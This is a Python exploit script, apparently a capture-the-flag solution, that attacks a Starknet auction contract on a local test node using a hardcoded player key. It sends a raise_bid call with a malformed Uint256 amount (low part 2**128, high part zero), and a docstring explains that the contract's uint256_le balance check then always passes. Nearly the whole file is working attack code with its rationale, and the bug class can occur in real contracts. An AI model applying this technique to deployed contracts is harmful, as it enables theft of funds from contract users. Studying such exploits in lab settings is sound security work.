exploit.py

import asyncio
import json

from starknet_py.contract import Contract
from starknet_py.net import AccountClient
from starknet_py.net.gateway_client import GatewayClient
from starknet_py.net.models import StarknetChainId
from starknet_py.net.signer.stark_curve_signer import KeyPair
from starkware.crypto.signature.signature import private_to_stark_key
from starkware.starknet.core.os.contract_address.contract_address import \
    calculate_contract_address_from_hash


async def main():
    RPC_ENDPOINT = "http://d28d799c-b146-4465-a8fa-c64380307547@127.0.0.1:5050"
    PRIVATE_KEY = 0x13de0d0566e7de884dcd77312c8a9242
    CONTRACT = "0x1f11e7220ee8d934bb938410f02dc35a390cfbd7ee08036893d5ea64f4a7456"

    client = GatewayClient(RPC_ENDPOINT, chain=StarknetChainId.TESTNET)

    player_private_key = PRIVATE_KEY
    player_public_key = private_to_stark_key(player_private_key)
    player_address = calculate_contract_address_from_hash(salt=20, class_hash=1803505466663265559571280894381905521939782500874858933595227108099796801620, constructor_calldata=[player_public_key], deployer_address=0, )
    player_key_pair = KeyPair(private_key=player_private_key, public_key=player_public_key)
    acc_client = AccountClient(client=client, address=player_address, key_pair=player_key_pair, chain=StarknetChainId.TESTNET, )

    auction_abi = json.load(open("auction_abi.json"))
    auction_contract = Contract(CONTRACT, auction_abi, acc_client, )

    print("before:")
    print("\tbalance:", (await auction_contract.functions["balanceOf"].call(player_address)).balance)
    print("\tauction balance:", (await auction_contract.functions["auctionBalanceOf"].call(1, player_address)).balance)
    print("\tcurrent winner:", (await auction_contract.functions["current_winner"].call(1)).current_winner)

    invocation = await auction_contract.functions["raise_bid"].invoke(1, {"low": 2**128, "high": 0}, max_fee=int(1e16))
    await invocation.wait_for_acceptance()

    """
    Uint256 represents an integer in the range [0, 2^256) using two felt members.

        struct Uint256:
            # The low 128 bits of the value.
            member low : felt
            # The high 128 bits of the value.
            member high : felt
        end

    The `raise_bid` function checks balance as follows:

        let (current_balance) = _balances.read(account=caller)
        let (locked_balance) = _lockedBalancesOf.read(account=caller)
        let (unlocked_balance) = uint256_sub(current_balance, locked_balance)
        let (enough_balance) = uint256_le(amount, unlocked_balance)
        assert enough_balance = 1

    However, if the `low` of `amount` is greater than or equal to `2**128` and the `high` of `amount` is zero, `uint256_le` always returns `1`.
    This is because the `is_nn` function used inside `uint256_le` always returns `1` unless the value of its argument is lower than `2**128`.
    Ref: https://github.com/starkware-libs/cairo-lang/blob/167b28bcd940fd25ea3816204fa882a0b0a49603/src/starkware/cairo/common/math_cmp.cairo
    """

    print("after:")
    print("\tbalance:", (await auction_contract.functions["balanceOf"].call(player_address)).balance)
    print("\tauction balance:", (await auction_contract.functions["auctionBalanceOf"].call(1, player_address)).balance)
    print("\tcurrent winner:", (await auction_contract.functions["current_winner"].call(1)).current_winner)


asyncio.run(main())